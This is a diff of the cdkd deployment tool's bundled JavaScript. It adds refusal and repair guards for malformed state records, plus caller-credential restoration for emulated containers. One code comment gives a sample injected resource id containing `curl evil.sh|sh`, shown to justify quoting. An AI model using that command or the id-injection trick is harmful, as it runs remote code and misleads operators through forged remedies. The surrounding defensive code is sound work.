return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21069
|
+
}
|
|
21070
|
+
/** How many logical ids a `properties` message names before it says "and N more". */
|
|
21071
|
+
const NAMED_UNREADABLE_PROPERTY_BAGS = 5;
|
|
21072
|
+
/**
|
|
21073
|
+
* The `State for '<stack>' ('<region>')` opening of a `properties` message,
|
|
21074
|
+
* and the matching `--stack-region` flag on its remedy command.
|
|
21075
|
+
*
|
|
21076
|
+
* **BOTH are optional, and an ABSENT identity is not a degraded case — it is
|
|
21077
|
+
* the only honest one for a caller that holds no TRUSTED identity.**
|
|
21078
|
+
* `src/analyzer/diff-calculator.ts` is exactly that caller: it receives a
|
|
21079
|
+
* `StackState` and nothing else, and `parseStateBody` validates neither
|
|
21080
|
+
* `stackName` nor `region`, so the record being declared malformed would be
|
|
21081
|
+
* naming ITSELF. An attacker holding `s3:PutObject` on one stack's key could
|
|
21082
|
+
* then plant `"stackName": "prod-payments"` in a `dev` record and have the
|
|
21083
|
+
* refusal hand the operator a pasteable `cdkd state show 'prod-payments'
|
|
21084
|
+
* --stack-region '...'` — a destructive instruction aimed at a healthy record,
|
|
21085
|
+
* while the damaged one goes unnamed (review of go-to-k/cdkd#3191). Every
|
|
21086
|
+
* other refusal in this module takes the CALLER's resolved identity, and this
|
|
21087
|
+
* one drops the clause instead rather than inventing or borrowing one.
|
|
21088
|
+
*
|
|
21089
|
+
* `src/cli/commands/diff-recursive.ts` DOES hold a trusted pair — the
|
|
21090
|
+
* `stackName` / `region` its own load was keyed on — so the read-only warning
|
|
21091
|
+
* passes them and the asymmetry is the point rather than an oversight. A later
|
|
21092
|
+
* lane that threads the trusted pair into `calculateDiff` passes it here with
|
|
21093
|
+
* no signature change.
|
|
21094
|
+
*
|
|
21095
|
+
* A region may also be absent on a v1 record, which predates the
|
|
21096
|
+
* region-prefixed key layout. A placeholder would put a `--stack-region` into
|
|
21097
|
+
* a pasted command that selects no record at all, so it is dropped for the
|
|
21098
|
+
* same reason — the call go-to-k/cdkd#3226 makes for `malformedStateDetail`.
|
|
21099
|
+
*/
|
|
21100
|
+
function stackClause(stackName, region) {
|
|
21101
|
+
if (stackName === void 0) return "The state record this command loaded";
|
|
21102
|
+
const where = region === void 0 ? "" : ` (${shellQuote(safeIdentifier(region))})`;
|
|
21103
|
+
return `State for ${shellQuote(safeIdentifier(stackName))}${where}`;
|
|
21104
|
+
}
|
|
21105
|
+
/** The remedy command {@link stackClause}'s message ends on. */
|
|
21106
|
+
function inspectCommand(stackName, region) {
|
|
21107
|
+
if (stackName === void 0) return "cdkd state show <stack> --stack-region <region> --json";
|
|
21108
|
+
const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeIdentifier(region))}`;
|
|
21109
|
+
return `cdkd state show ${shellQuote(safeIdentifier(stackName))}${flag} --json`;
|
|
21110
|
+
}
|
|
21111
|
+
/**
|
|
21112
|
+
* The logical ids whose resource record carries a `properties` bag that cannot
|
|
21113
|
+
* be read as a map (issue
|
|
21114
|
+
* [#3191](https://github.com/go-to-k/cdkd/issues/3191)).
|
|
21115
|
+
*
|
|
21116
|
+
* A THIRD container, on the ENTRY rather than on the record root, and it is a
|
|
21117
|
+
* separate predicate from {@link hasReadableResources} for the reason every
|
|
21118
|
+
* split in this module is: the CONSEQUENCE differs. An unreadable `resources`
|
|
21119
|
+
* map reads as an empty STACK; an unreadable `properties` bag reads as a
|
|
21120
|
+
* resource whose every declared property is MISSING, which
|
|
21121
|
+
* `src/analyzer/diff-calculator.ts` turns into a property-change set and, for
|
|
21122
|
+
* a create-only property, into a REPLACEMENT of the live resource.
|
|
21123
|
+
*
|
|
21124
|
+
* `undefined` is NOT exempt here, unlike in {@link hasReadableOutputs}. That
|
|
21125
|
+
* exemption exists because cdkd itself writes records with no `outputs` key —
|
|
21126
|
+
* `JSON.stringify` drops an `undefined` field on the deploy's failure-path
|
|
21127
|
+
* saves. Nothing writes a resource record with no `properties`: every writer
|
|
21128
|
+
* in `src/` assigns an object (`cdkd import` spells it `Properties ?? {}`),
|
|
21129
|
+
* `JSON.stringify` never drops a `{}`, and the field is REQUIRED by
|
|
21130
|
+
* `ResourceState`. An absent bag is therefore a hand edit or a truncation, and
|
|
21131
|
+
* it is one of the two shapes that used to die on a bare `TypeError` naming no
|
|
21132
|
+
* stack, no key and no remedy (`Cannot convert undefined or null to object`).
|
|
21133
|
+
*
|
|
21134
|
+
* An entry that is not a readable OBJECT is SKIPPED rather than named, so this
|
|
21135
|
+
* verdict is ORDER-INDEPENDENT with respect to the entry-level guard
|
|
21136
|
+
* go-to-k/cdkd#3226 adds: a `null` entry has no `properties` to test, and
|
|
21137
|
+
* reading one off a string entry would name a per-character defect that is
|
|
21138
|
+
* really the entry's. Likewise a `resources` bag that is not readable at all
|
|
21139
|
+
* yields `[]` here rather than ids invented from a string's characters — that
|
|
21140
|
+
* class is {@link hasReadableResources}'s to report. What a caller must not do
|
|
21141
|
+
* is take only this one.
|
|
21142
|
+
*/
|
|
21143
|
+
function unreadableResourcePropertyBags(state) {
|
|
21144
|
+
if (!hasReadableResources(state)) return [];
|
|
21145
|
+
return Object.entries(state.resources).filter(([, entry]) => isReadableBag(entry) && !isReadableBag(entry.properties)).map(([logicalId]) => logicalId);
|
|
21146
|
+
}
|
|
21147
|
+
/**
|
|
21148
|
+
* For a command that can WRITE state — `cdkd deploy` — refuse the record
|
|
21149
|
+
* naming the resources whose `properties` bag could not be read (issue
|
|
21150
|
+
* [#3191](https://github.com/go-to-k/cdkd/issues/3191)).
|
|
21151
|
+
*
|
|
21152
|
+
* **REFUSE, and repairing to `{}` is not the safe alternative here — it is the
|
|
21153
|
+
* SAME outcome.** That is the measurement the issue asked for, and it is what
|
|
21154
|
+
* settles the contract rather than the write-capable rule alone. Driven
|
|
21155
|
+
* through the real `DiffCalculator` against an `AWS::S3::Bucket` declaring
|
|
21156
|
+
* `BucketName`, a stored `properties` of `"abcdef"`, `[]` and `5` each
|
|
21157
|
+
* produced a property change carrying `requiresReplacement: true` — and `[]`
|
|
21158
|
+
* and `5` enumerate no keys, so they ARE the repaired-to-empty case. A repair
|
|
21159
|
+
* would launder a torn record into a silent REPLACE of a live resource, which
|
|
21160
|
+
* is the data loss the guard exists to prevent; only a refusal closes it.
|
|
21161
|
+
*
|
|
21162
|
+
* The cost is stated rather than argued away: a deploy over ONE torn record
|
|
21163
|
+
* aborts the whole run, including the stacks and resources that are fine.
|
|
21164
|
+
* That is the right trade against replacing a resource nobody asked to
|
|
21165
|
+
* replace, and it is paid before anything irreversible: the refusal is raised
|
|
21166
|
+
* from the diff, so nothing is provisioned and no state is written for the
|
|
21167
|
+
* stack, and the deploy's lock is released by its own `finally`. NOT "before
|
|
21168
|
+
* any provider call" — that claim is false and was corrected in review:
|
|
21169
|
+
* `DeployEngine.kickOffAutoRefreshObservedProperties` fires fire-and-forget
|
|
21170
|
+
* `provider.readCurrentState` READS earlier in the same run. They persist
|
|
21171
|
+
* nothing, because the save they would be drained into never happens.
|
|
21172
|
+
*
|
|
21173
|
+
* The identity in the message is the CALLER's, never the record's — see
|
|
21174
|
+
* {@link stackClause}, where an absent identity is the honest case rather than
|
|
21175
|
+
* a degraded one.
|
|
21176
|
+
*
|
|
21177
|
+
* Deliberately NOT folded into {@link refuseMalformedState}, for the reason
|
|
21178
|
+
* {@link unreadableResourcePropertyBags} gives: that predicate answers a
|
|
21179
|
+
* question about the record ROOT, and its four callers (`cdkd scrub`,
|
|
21180
|
+
* `import`, `orphan`, `rollback`) have made no decision about this one. Three
|
|
21181
|
+
* of them do not compare properties at all, and `cdkd rollback` replays a
|
|
21182
|
+
* journal rather than diffing, so an unrelated broken bag would stop the
|
|
21183
|
+
* command documented as the way to UNWIND a stack whose state is already
|
|
21184
|
+
* suspect. This rule is OPT-IN, taken by the flow that COMPARES the bag.
|
|
21185
|
+
*/
|
|
21186
|
+
function refuseMalformedResourceProperties(state, stackName, region) {
|
|
21187
|
+
const unreadable = unreadableResourcePropertyBags(state);
|
|
21188
|
+
if (unreadable.length === 0) return;
|
|
21189
|
+
throw markNonRetryable(new CdkdError(malformedResourcePropertiesRefusalMessage(stackName, region, unreadable), STATE_RESOURCES_MALFORMED));
|
|
21190
|
+
}
|
|
21191
|
+
/**
|
|
21192
|
+
* For a READ-ONLY command — `cdkd diff` — give each unreadable `properties`
|
|
21193
|
+
* bag an empty map so the command can report on the record, and return the ids
|
|
21194
|
+
* so the caller can warn.
|
|
21195
|
+
*
|
|
21196
|
+
* The read-only twin of {@link refuseMalformedResourceProperties}, and the
|
|
21197
|
+
* WRITE is what makes the difference, not the shape: `cdkd diff` persists
|
|
21198
|
+
* nothing, so it cannot launder the evidence, and previewing the remaining
|
|
21199
|
+
* resources beats aborting the whole preview over one torn bag.
|
|
21200
|
+
*
|
|
21201
|
+
* Repair-to-`{}` rather than a DROP of the whole entry, because an empty bag
|
|
21202
|
+
* IS honest for this container: the entry still names a real `resourceType`
|
|
21203
|
+
* and `physicalId`, so it belongs in the diff as a row.
|
|
21204
|
+
* Dropping it would report the resource as a CREATE, inventing a change the
|
|
21205
|
+
* next deploy does not make.
|
|
21206
|
+
*
|
|
21207
|
+
* What the repair does NOT do is make the preview accurate, which is why the
|
|
21208
|
+
* warning is not optional. The caller says so in
|
|
21209
|
+
* {@link malformedResourcePropertiesWarning}'s terms, which are deliberately
|
|
21210
|
+
* wider than "previewed as an addition": a node whose template is GONE —
|
|
21211
|
+
* `buildDeletedSubtree` diffs a removed nested child against an EMPTY template
|
|
21212
|
+
* — declares nothing, so its rows are DELETEs whose previous side is now the
|
|
21213
|
+
* repaired `{}` rather than what the record holds.
|
|
21214
|
+
*
|
|
21215
|
+
* Call it AFTER {@link repairMalformedResourcesForReadOnly}: an unreadable BAG
|
|
21216
|
+
* has no entries to walk, and the predicate deliberately returns `[]` for one.
|
|
21217
|
+
*
|
|
21218
|
+
* And call it again after anything that SPLICES further records into
|
|
21219
|
+
* `state.resources` — `computeStackDiff`'s rollback-orphan adoption is the one
|
|
21220
|
+
* such site, and its records come straight from `state.orphans[].state`, which
|
|
21221
|
+
* this load never walked (review of go-to-k/cdkd#3191).
|
|
21222
|
+
*/
|
|
21223
|
+
function repairMalformedResourcePropertiesForReadOnly(state) {
|
|
21224
|
+
const unreadable = unreadableResourcePropertyBags(state);
|
|
21225
|
+
for (const logicalId of unreadable) state.resources[logicalId].properties = {};
|
|
21226
|
+
return unreadable;
|
|
21227
|
+
}
|
|
21228
|
+
/**
|
|
21229
|
+
* The half the refusal and the warning share: what is wrong and which records.
|
|
21230
|
+
*
|
|
21231
|
+
* ONE spelling rather than two, for the reason {@link malformedStateDetail}
|
|
21232
|
+
* exists beside its own pair — the two texts differ only in what happens NEXT,
|
|
21233
|
+
* and a second copy of the diagnosis is what drifts.
|
|
21234
|
+
*
|
|
21235
|
+
* The STACK and REGION go through {@link safeIdentifier} and are THEN
|
|
21236
|
+
* shell-quoted, for the reasons that helper's own note gives: each reaches this
|
|
21237
|
+
* text from a hand-edited record or an S3 key.
|
|
21238
|
+
*
|
|
21239
|
+
* **The LOGICAL IDS take `displayIdent` instead, and NOT `shellQuote`** — the
|
|
21240
|
+
* answer {@link safeIdentifier}'s note already prescribes for names in a
|
|
21241
|
+
* `', '`-joined list, applied one level down. The three properties that matters
|
|
21242
|
+
* for, in the order they bite:
|
|
21243
|
+
*
|
|
21244
|
+
* 1. **IDENTITY.** `displaySafe` TRIMS, so a sanitize-and-quote pair renders
|
|
21245
|
+
* `"Bucket "`, `" Bucket"` and `"Bucket\t"` byte-identically to a HEALTHY
|
|
21246
|
+
* sibling key spelled `Bucket`. Plant a torn `resources["Bucket "]` beside a
|
|
21247
|
+
* real `Bucket` and the refusal names the intact record: the operator opens
|
|
21248
|
+
* it, finds nothing wrong, and concludes cdkd is the broken party while the
|
|
21249
|
+
* damaged entry goes unnamed. That is the same misdirection go-to-k/cdkd#3164
|
|
21250
|
+
* closed for stack names and the review of go-to-k/cdkd#3191 closed for this
|
|
21251
|
+
* module's identity clause. `displayIdent` compares the sanitized text
|
|
21252
|
+
* against the raw one and JSON-quotes whenever they differ, so a padded id
|
|
21253
|
+
* can never render bare.
|
|
21254
|
+
* 2. **BOUNDARY.** JSON-quoting escapes the `'` an id spelled
|
|
21255
|
+
* `x' Inspect it with: curl evil.sh|sh #` would otherwise use to plant a
|
|
21256
|
+
* forged remedy ahead of the real one, on a line that ends in a pasteable
|
|
21257
|
+
* command. It also supplies the quotes the old `shellQuote` wrapper added —
|
|
21258
|
+
* which is why the wrapper GOES rather than composing, per the same note.
|
|
21259
|
+
* 3. **TRUNCATION.** `[cut: N more characters withheld]` cannot be mistaken for
|
|
21260
|
+
* content, where the old `...` tail was indistinguishable from a legitimate
|
|
21261
|
+
* id ending `Prod...`.
|
|
21262
|
+
*
|
|
21263
|
+
* The cap is passed EXPLICITLY although it equals the default: a logical id is
|
|
21264
|
+
* valid up to `IDENT_MAX_CODE_POINTS`, and the point of not reusing
|
|
21265
|
+
* {@link safeIdentifier} here is that its 128 would truncate a legitimate long
|
|
21266
|
+
* id into one naming no record. Spelling the cap keeps that decision visible at
|
|
21267
|
+
* the site it was made for.
|
|
21268
|
+
*
|
|
21269
|
+
* Known residual, NOT introduced here: `,` is in `PLAIN_IDENT`, so an id
|
|
21270
|
+
* carrying one still renders bare inside this `', '`-joined list and reads as
|
|
21271
|
+
* two entries — the joined-list ambiguity recorded on go-to-k/cdkd#3179 for
|
|
21272
|
+
* every caller of the helper, not a property of this one.
|
|
21273
|
+
*
|
|
21274
|
+
* NAMED rather than listed in full: a record whose 500 resources were all
|
|
21275
|
+
* hand-edited must not push the remedy command off the reader's screen.
|
|
21276
|
+
*
|
|
21277
|
+
* REFUSES an empty list rather than rendering `holds 0 resource record(s) — —`.
|
|
21278
|
+
* Both callers guard, but they are exported and a later one need not (review of
|
|
21279
|
+
* go-to-k/cdkd#3191).
|
|
21280
|
+
*/
|
|
21281
|
+
function namedPropertyBagsClause(stackName, region, logicalIds) {
|
|
21282
|
+
if (logicalIds.length === 0) throw new Error("malformed-resources-bag: a properties message needs at least one logical id to name");
|
|
21283
|
+
const named = logicalIds.slice(0, NAMED_UNREADABLE_PROPERTY_BAGS).map((id) => displayIdent(id, { maxCodePoints: 255 })).join(", ");
|
|
21284
|
+
const rest = logicalIds.length - NAMED_UNREADABLE_PROPERTY_BAGS;
|
|
21285
|
+
const more = rest > 0 ? ` and ${rest} more` : "";
|
|
21286
|
+
return `${stackClause(stackName, region)} holds ${logicalIds.length} resource record(s) whose 'properties' map cannot be read — ${named}${more} — because it is absent, null, or not an object. The record is malformed or truncated. Comparing a template against one reports every property the template declares as ADDED (a string bag also invents one change per character), and a create-only property among them is a REPLACEMENT of the live resource.`;
|
|
21287
|
+
}
|
|
21288
|
+
/**
|
|
21289
|
+
* The text {@link refuseMalformedResourceProperties} raises.
|
|
21290
|
+
*
|
|
21291
|
+
* `stackName` / `region` are the CALLER's resolved identity or nothing at all;
|
|
21292
|
+
* {@link stackClause} is the authority for why this one may be handed neither.
|
|
21293
|
+
*
|
|
21294
|
+
* **It must be true under `cdkd deploy --dry-run` as well**, and the first
|
|
21295
|
+
* revision was not. Provisioning is gated AFTER the diff
|
|
21296
|
+
* (`deploy-engine.ts`'s `if (this.options.dryRun)` return sits below
|
|
21297
|
+
* `calculateDiff`), so a dry run reaches this refusal and aborts — while the
|
|
21298
|
+
* text asserted "it would DELETE and re-create resources", which a dry run
|
|
21299
|
+
* would not do. A refusal that misstates what was about to happen is the same
|
|
21300
|
+
* defect class as one naming the wrong record (review of go-to-k/cdkd#3191).
|
|
21301
|
+
*
|
|
21302
|
+
* **A dry run REFUSES rather than repairing, and that is the decision.** The
|
|
21303
|
+
* repair-and-warn half of this container belongs to `cdkd diff`, and the
|
|
21304
|
+
* argument recorded for it in `.claude/rules/state-malformed-properties.md` —
|
|
21305
|
+
* "a preview of the rest of the stack beats an abort" — does not transfer,
|
|
21306
|
+
* because it is already SATISFIED by that sibling: a user who wants the
|
|
21307
|
+
* repaired preview runs `cdkd diff` and gets it, with the warning. `cdkd diff`
|
|
21308
|
+
* refusing would leave no way to preview at all; `cdkd deploy --dry-run`
|
|
21309
|
+
* refusing costs nothing that is not available one command over. Against that,
|
|
21310
|
+
* repairing here would need a mode threaded into `calculateDiff`, the single
|
|
21311
|
+
* chokepoint whose whole value is that both callers share it — and it would
|
|
21312
|
+
* create the worst arm of all: a plausible-looking `--dry-run` plan followed
|
|
21313
|
+
* by a refusal the moment the flag comes off. So the message points at
|
|
21314
|
+
* `cdkd diff` instead of weakening the guard.
|
|
21315
|
+
*/
|
|
21316
|
+
function malformedResourcePropertiesRefusalMessage(stackName, region, logicalIds) {
|
|
21317
|
+
return `${namedPropertyBagsClause(stackName, region, logicalIds)} 'cdkd deploy' can WRITE state and AWS resources, so it refuses rather than continuing — under '--dry-run' too, because the plan a dry run would print is the wrong one: a DELETE and re-create of resources the template did not change, and reading the bag as empty produces that same verdict rather than avoiding it. Nothing was provisioned and no state was written FOR THIS STACK. Repair or remove the record first; 'cdkd diff' previews the rest of the stack with those maps read as EMPTY and warns that it did. Inspect the record with: ${inspectCommand(stackName, region)}`;
|
|
21318
|
+
}
|
|
21319
|
+
/**
|
|
21320
|
+
* The warning a caller of {@link repairMalformedResourcePropertiesForReadOnly}
|
|
21321
|
+
* emits.
|
|
21322
|
+
*/
|
|
21323
|
+
function malformedResourcePropertiesWarning(stackName, region, logicalIds) {
|
|
21324
|
+
return `${namedPropertyBagsClause(stackName, region, logicalIds)} Continuing with those maps EMPTY: what these records are stored as holding is NOT what this preview compares against. Where the template still declares the resource, every property it declares previews as an addition and a create-only one as a replacement; where it no longer declares it, the DELETE row shows an empty previous side instead of the stored one. Do NOT run 'cdkd deploy' against this record — it REFUSES on the same defect rather than acting on this preview. See the stored values with: ${inspectCommand(stackName, region)}`;
|
|
21325
|
+
}
|
|
21326
|
+
/**
|
|
21327
|
+
* The key a warned-once-per-record `Set` uses to identify a producer RECORD.
|
|
21328
|
+
*
|
|
21329
|
+
* ONE spelling, shared by `scrub.ts`'s cross-stack pre-pass and
|
|
21330
|
+
* `local-state-loader.ts`'s `Fn::GetStackOutput` reader, because two spellings
|
|
21331
|
+
* of one rule is how nine sites stay right and the tenth drifts — the same
|
|
21332
|
+
* reason every predicate in this module is here rather than at its call sites.
|
|
21333
|
+
*
|
|
21334
|
+
* ENCODED, not separated, and issue
|
|
21335
|
+
* [#3308](https://github.com/go-to-k/cdkd/issues/3308) is the measurement
|
|
21336
|
+
* behind that. Both sites previously joined the two halves with a NUL, which
|
|
21337
|
+
* NARROWS the collision without closing it: a stack name is read out of an S3
|
|
21338
|
+
* key and is exactly as attacker-controlled as the `outputs` bag, so it can
|
|
21339
|
+
* carry a NUL too — `tests/unit/cli/commands/scrub-malformed-and-nameless.test.ts`
|
|
21340
|
+
* already plants one. Measured: with a NUL separator, stack `Evil<NUL>us-east-1`
|
|
21341
|
+
* in `ap-northeast-1` and stack `Evil` in region `us-east-1<NUL>ap-northeast-1`
|
|
21342
|
+
* produce the SAME key, so whichever is warned about second is silently not
|
|
21343
|
+
* warned about at all.
|
|
21344
|
+
*
|
|
21345
|
+
* `JSON.stringify` of a two-element array is injective over string pairs: the
|
|
21346
|
+
* quoting escapes anything that could imitate the separator, so no planted name
|
|
21347
|
+
* can produce another pair's key.
|
|
21348
|
+
*
|
|
21349
|
+
* The consequence of a collision is one dropped warning LINE, never a wrong
|
|
21350
|
+
* resolution — both records are still read as empty and both reads still miss.
|
|
21351
|
+
* That is why this is worth one shared helper rather than a larger mechanism.
|
|
21352
|
+
*/
|
|
21353
|
+
function producerRecordKey(stackName, region) {
|
|
21354
|
+
return JSON.stringify([stackName, region]);
|
|
21355
|
+
}
|
|
21356
|
+
|
|
20381
21357
|
//#endregion
|
|
20382
21358
|
//#region src/analyzer/diff-calculator.ts
|
|
20383
21359
|
/**
|
|
@@ -20465,6 +21441,7 @@ var DiffCalculator = class DiffCalculator {
|
|
|
20465
21441
|
*/
|
|
20466
21442
|
async calculateDiff(currentState, desiredTemplate, resolveFn, canonicalizeProperties, allowedUnsupportedProperties) {
|
|
20467
21443
|
const changes = /* @__PURE__ */ new Map();
|
|
21444
|
+
refuseMalformedResourceProperties(currentState, void 0, void 0);
|
|
20468
21445
|
const currentResources = currentState.resources;
|
|
20469
21446
|
const desiredResources = desiredTemplate.Resources;
|
|
20470
21447
|
this.logger.debug("Calculating diff...");
|
|
@@ -20984,6 +21961,133 @@ var DiffCalculator = class DiffCalculator {
|
|
|
20984
21961
|
}
|
|
20985
21962
|
};
|
|
20986
21963
|
|
|
21964
|
+
//#endregion
|
|
21965
|
+
//#region src/utils/caller-credentials.ts
|
|
21966
|
+
/**
|
|
21967
|
+
* The CALLER's own AWS identity, for the one channel that reaches a workload
|
|
21968
|
+
* cdkd merely emulates (issue
|
|
21969
|
+
* [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
|
|
21970
|
+
*
|
|
21971
|
+
* WHY THIS EXISTS
|
|
21972
|
+
*
|
|
21973
|
+
* `applyRoleArnIfSet` (`src/utils/role-arn.ts`) assumes `--role-arn` /
|
|
21974
|
+
* `CDKD_ROLE_ARN` and then OVERWRITES `process.env.AWS_ACCESS_KEY_ID` /
|
|
21975
|
+
* `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` with the role's, so that clients
|
|
21976
|
+
* built outside `src/**` (cdk-local's own, the CDK app subprocess) run as the
|
|
21977
|
+
* role too. Every `cdkd local *` command then COPIES that triple out of
|
|
21978
|
+
* `process.env` into the emulated Lambda / AgentCore container's environment —
|
|
21979
|
+
* so `cdkd local invoke --role-arn arn:aws:iam::222:role/cdkd-deploy MyFn` ran
|
|
21980
|
+
* the user's local handler AS THE DEPLOY ROLE, normally the more privileged of
|
|
21981
|
+
* the two identities and never the one the flag asked for.
|
|
21982
|
+
*
|
|
21983
|
+
* The SDK-client half of that class was closed by threading
|
|
21984
|
+
* `awsClientDefaults({ ignoreAssumedRole: true })` through every client on the
|
|
21985
|
+
* surface. That opt-out cannot reach this channel: the value here is not a
|
|
21986
|
+
* client config, it is three environment variables whose ORIGINAL contents the
|
|
21987
|
+
* assume already destroyed. So `applyRoleArnIfSet` snapshots them first
|
|
21988
|
+
* (`setPreAssumeEnvCredentials`) and this module is what turns the snapshot back
|
|
21989
|
+
* into an answer.
|
|
21990
|
+
*
|
|
21991
|
+
* THE ANSWER IS "WHAT WOULD THE CONTAINER HAVE RECEIVED WITHOUT `--role-arn`"
|
|
21992
|
+
*
|
|
21993
|
+
* Not "who is the caller" in the SDK's sense — that question has a different
|
|
21994
|
+
* answer when a profile is selected, and `resolveProfileCredentials` +
|
|
21995
|
+
* `applyProfileCredentialsOverlay` already answer it for the `--profile` case
|
|
21996
|
+
* and still win, because they are applied AFTER this restore. What this module
|
|
21997
|
+
* restores is exactly the status quo ante: the bytes `forwardAwsEnv` would have
|
|
21998
|
+
* copied had no role been assumed.
|
|
21999
|
+
*
|
|
22000
|
+
* WHEN THERE IS NOTHING TO RESTORE, NOTHING IS FORWARDED
|
|
22001
|
+
*
|
|
22002
|
+
* On an SSO / IMDS / container-role chain the triple was ABSENT before the
|
|
22003
|
+
* assume. Fabricating a replacement is not available and inheriting the role is
|
|
22004
|
+
* the defect, so the three keys are STRIPPED from the forwarded environment and
|
|
22005
|
+
* the container falls back to its own credential resolution — which, with no
|
|
22006
|
+
* mounted credentials file, usually means the handler's first AWS call fails
|
|
22007
|
+
* with `Could not load credentials from any providers`. That is the documented
|
|
22008
|
+
* outcome (`docs/cli-reference.md`), and it is the correct one: a loud missing
|
|
22009
|
+
* credential beats a silent privileged one.
|
|
22010
|
+
*/
|
|
22011
|
+
/**
|
|
22012
|
+
* The three environment variables that carry a static AWS identity into a child
|
|
22013
|
+
* process or container. Spelled once here so a forwarding site and the fence
|
|
22014
|
+
* that watches it cannot disagree about the population.
|
|
22015
|
+
*/
|
|
22016
|
+
const AWS_CREDENTIAL_ENV_KEYS = [
|
|
22017
|
+
"AWS_ACCESS_KEY_ID",
|
|
22018
|
+
"AWS_SECRET_ACCESS_KEY",
|
|
22019
|
+
"AWS_SESSION_TOKEN"
|
|
22020
|
+
];
|
|
22021
|
+
/**
|
|
22022
|
+
* Read a static credential triple out of an environment bag, or `undefined`
|
|
22023
|
+
* when it does not carry a complete one.
|
|
22024
|
+
*
|
|
22025
|
+
* BOTH halves of the key pair are required: an `AWS_ACCESS_KEY_ID` with no
|
|
22026
|
+
* secret is not an identity, and treating it as one would make the caller
|
|
22027
|
+
* "have credentials" while handing the container an unusable pair.
|
|
22028
|
+
*/
|
|
22029
|
+
function readEnvCredentials(source = process.env) {
|
|
22030
|
+
const accessKeyId = source["AWS_ACCESS_KEY_ID"];
|
|
22031
|
+
const secretAccessKey = source["AWS_SECRET_ACCESS_KEY"];
|
|
22032
|
+
if (!accessKeyId || !secretAccessKey) return void 0;
|
|
22033
|
+
const sessionToken = source["AWS_SESSION_TOKEN"];
|
|
22034
|
+
return {
|
|
22035
|
+
accessKeyId,
|
|
22036
|
+
secretAccessKey,
|
|
22037
|
+
...sessionToken ? { sessionToken } : {}
|
|
22038
|
+
};
|
|
22039
|
+
}
|
|
22040
|
+
/**
|
|
22041
|
+
* The static credentials the caller's OWN environment carried — the process
|
|
22042
|
+
* environment when no role was assumed, the pre-assume snapshot when one was.
|
|
22043
|
+
*
|
|
22044
|
+
* For a site that needs the VALUE rather than an env bag to correct (the
|
|
22045
|
+
* `--sigv4` signing path in `local-invoke-agentcore.ts`). `undefined` means the
|
|
22046
|
+
* caller has no static credentials to offer; the site decides what that means
|
|
22047
|
+
* for it (that one refuses with an actionable error).
|
|
22048
|
+
*
|
|
22049
|
+
* **Do not mutate the returned bag.** On the assumed-role branch it is
|
|
22050
|
+
* `aws-client-defaults.ts`'s OWN copy of the pre-assume snapshot — the object
|
|
22051
|
+
* shape 2 of the `ignoreAssumedRole` opt-out resolves every opted-out client's
|
|
22052
|
+
* identity from — so a caller that edits it in place changes who those clients
|
|
22053
|
+
* run as. The note sits here as well as on `getPreAssumeEnvCredentials` because
|
|
22054
|
+
* this module's header directs callers to THIS function; reaching the snapshot
|
|
22055
|
+
* through the getter directly is what it tells them not to do.
|
|
22056
|
+
*/
|
|
22057
|
+
function callerEnvCredentials() {
|
|
22058
|
+
if (getAssumedRoleCredentials() === void 0) return readEnvCredentials();
|
|
22059
|
+
return getPreAssumeEnvCredentials();
|
|
22060
|
+
}
|
|
22061
|
+
/**
|
|
22062
|
+
* Correct an environment bag that was populated by copying `process.env`, so it
|
|
22063
|
+
* carries the CALLER's identity rather than a `--role-arn` assumed role's.
|
|
22064
|
+
*
|
|
22065
|
+
* A NO-OP when no role was assumed — the copied triple is already the caller's,
|
|
22066
|
+
* and this must not disturb the overwhelmingly common path.
|
|
22067
|
+
*
|
|
22068
|
+
* Otherwise the role's triple is replaced by the pre-assume snapshot, or — when
|
|
22069
|
+
* there was none — REMOVED outright (see this module's header). The
|
|
22070
|
+
* session-token handling mirrors `applyProfileCredentialsOverlay`: a restored
|
|
22071
|
+
* long-lived key pair strips any inherited token, because a long-lived
|
|
22072
|
+
* `AKIA...` beside a foreign session token makes the SDK inside the container
|
|
22073
|
+
* fail rather than fall back.
|
|
22074
|
+
*
|
|
22075
|
+
* Call it AFTER copying `process.env` and BEFORE any `--profile` overlay: the
|
|
22076
|
+
* profile identity is more specific and is also the caller's, so it wins.
|
|
22077
|
+
*/
|
|
22078
|
+
function applyCallerIdentityCredentials(env) {
|
|
22079
|
+
if (getAssumedRoleCredentials() === void 0) return;
|
|
22080
|
+
const caller = getPreAssumeEnvCredentials();
|
|
22081
|
+
if (!caller) {
|
|
22082
|
+
for (const key of AWS_CREDENTIAL_ENV_KEYS) delete env[key];
|
|
22083
|
+
return;
|
|
22084
|
+
}
|
|
22085
|
+
env["AWS_ACCESS_KEY_ID"] = caller.accessKeyId;
|
|
22086
|
+
env["AWS_SECRET_ACCESS_KEY"] = caller.secretAccessKey;
|
|
22087
|
+
if (caller.sessionToken) env["AWS_SESSION_TOKEN"] = caller.sessionToken;
|
|
22088
|
+
else delete env["AWS_SESSION_TOKEN"];
|
|
22089
|
+
}
|
|
22090
|
+
|
|
20987
22091
|
//#endregion
|
|
20988
22092
|
//#region src/utils/role-arn.ts
|
|
20989
22093
|
/**
|
|
@@ -21050,8 +22154,8 @@ function parseIamRoleArn(roleArn) {
|
|
|
21050
22154
|
* reading the producer account's cdkd state bucket.
|
|
21051
22155
|
*
|
|
21052
22156
|
* **Why a dedicated helper (instead of reusing `applyRoleArnIfSet`).** The
|
|
21053
|
-
* `--role-arn` flag
|
|
21054
|
-
*
|
|
22157
|
+
* `--role-arn` flag publishes its assumed credentials process-wide, so
|
|
22158
|
+
* EVERY subsequent SDK client picks them up. That is the right
|
|
21055
22159
|
* behavior for the CLI-wide flag, but the wrong behavior for cross-account
|
|
21056
22160
|
* `Fn::GetStackOutput`: the producer's role should authorize ONLY the S3
|
|
21057
22161
|
* state read, not the consumer's provisioning calls (which still run under
|
|
@@ -21129,16 +22233,57 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
|
|
|
21129
22233
|
* into `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
|
|
